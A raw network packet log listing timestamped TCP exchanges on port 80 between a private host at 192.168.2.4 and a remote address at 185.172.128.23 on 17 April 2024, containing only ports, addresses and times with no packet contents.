Apr 17, 2024 06:57:14.754348993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754785061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754833937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754837036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754849911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754863977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754873991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754899979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754899979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.755069971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.755095959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.755111933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.755120993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.755127907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.755141020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.755165100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.755182981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.756416082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756441116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756457090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756468058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.756473064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756489992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.756515980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.756784916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756803036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756819010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756833076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.756843090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.756877899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.756877899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.757337093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.757390976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.757391930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.757407904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.757421970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.757435083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.757460117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.757460117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.758666039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.758714914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.758723021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.758739948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.758754969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.758765936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.758795023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.758795977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759125948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759143114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759160042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759172916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759176016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759200096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759200096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759227991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759609938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759639025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759655952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759658098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759670019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.759676933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759701014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.759701014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760056973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760073900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760088921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760112047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760116100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760117054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760152102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760152102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760319948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760368109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760405064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760421038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760435104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760463953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760463953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760634899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760659933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760675907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760687113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760690928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.760715961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760715961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.760745049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761152029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761168957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761184931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761199951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761202097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761230946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761230946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761264086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761409998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761461020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761502981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761519909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761542082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.761548996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761583090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.761583090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762070894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762120008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762125015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762151957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762164116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762171984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762187958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762197018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762204885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762218952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762218952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762231112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762243032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762245893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762280941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762280941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762377977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762429953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762490034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762506962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762521982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762554884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762583971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762886047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762902021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762919903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762934923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.762938976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762938976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762973070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.762973070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763201952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763219118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763254881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763256073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763271093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763279915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763298035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763320923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763540983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763564110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763590097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763617039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763629913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763643980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763669968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763706923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763865948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763892889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763906956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763910055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763925076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.763947010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763947010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.763976097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.764138937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.764182091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.764185905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.764204979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.764219999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.764238119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.764238119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.764261961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.787575006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.787595987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.787611961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.787626028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.787760973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.787760973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.787760973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788173914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788189888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788204908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788218021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788239002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788239002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788271904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788479090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788523912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788554907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788572073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788599968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788614035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788614035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788645029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788861990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788878918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788894892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788911104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.788911104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788912058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788945913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.788945913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.797807932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.797835112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.797852039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.797866106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.797868967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.797903061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.797921896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.811394930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811445951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811460972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811475039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811491966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.811491966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.811491966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.811577082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.811805964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811822891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811839104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811852932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.811857939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.811896086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.811896086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812181950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812203884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812221050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812232018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812257051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812279940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812323093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812572002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812599897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812613964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812617064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812632084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812647104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812676907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812676907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812917948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812938929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812966108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812978029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.812980890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.812995911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.813024044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.813756943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.813774109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.813807011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.813812017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.813812017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.813822985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.813846111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.813863993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.814120054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814136982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814152002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814167023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.814168930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814198017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.814198017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.814225912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.814785957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814838886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814841032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.814856052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814871073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.814887047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.814918041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.815474987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.815491915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.815509081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.815522909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.815527916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.815560102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.815560102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.816735983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.816752911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.816768885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.816782951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.816790104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.816817045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.816842079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817068100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817084074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817099094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817111015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817120075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817133904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817172050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817372084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817415953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817477942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817495108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817508936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.817519903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817549944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817549944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.817996025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818052053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818088055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818104029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818118095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818135977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818166018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818166018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818398952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818444967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818444967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818463087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818476915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818490028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818510056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818757057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818773031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818789005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818799019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818804026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.818819046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818835020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.818862915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819168091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819185019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819200993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819216967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819217920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819250107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819250107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819278002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819470882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819503069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819514990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819519043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819533110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.819536924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819557905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.819574118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820094109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820126057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820142031 CEST	80	49730	185.172.128.23	192.168.2.4
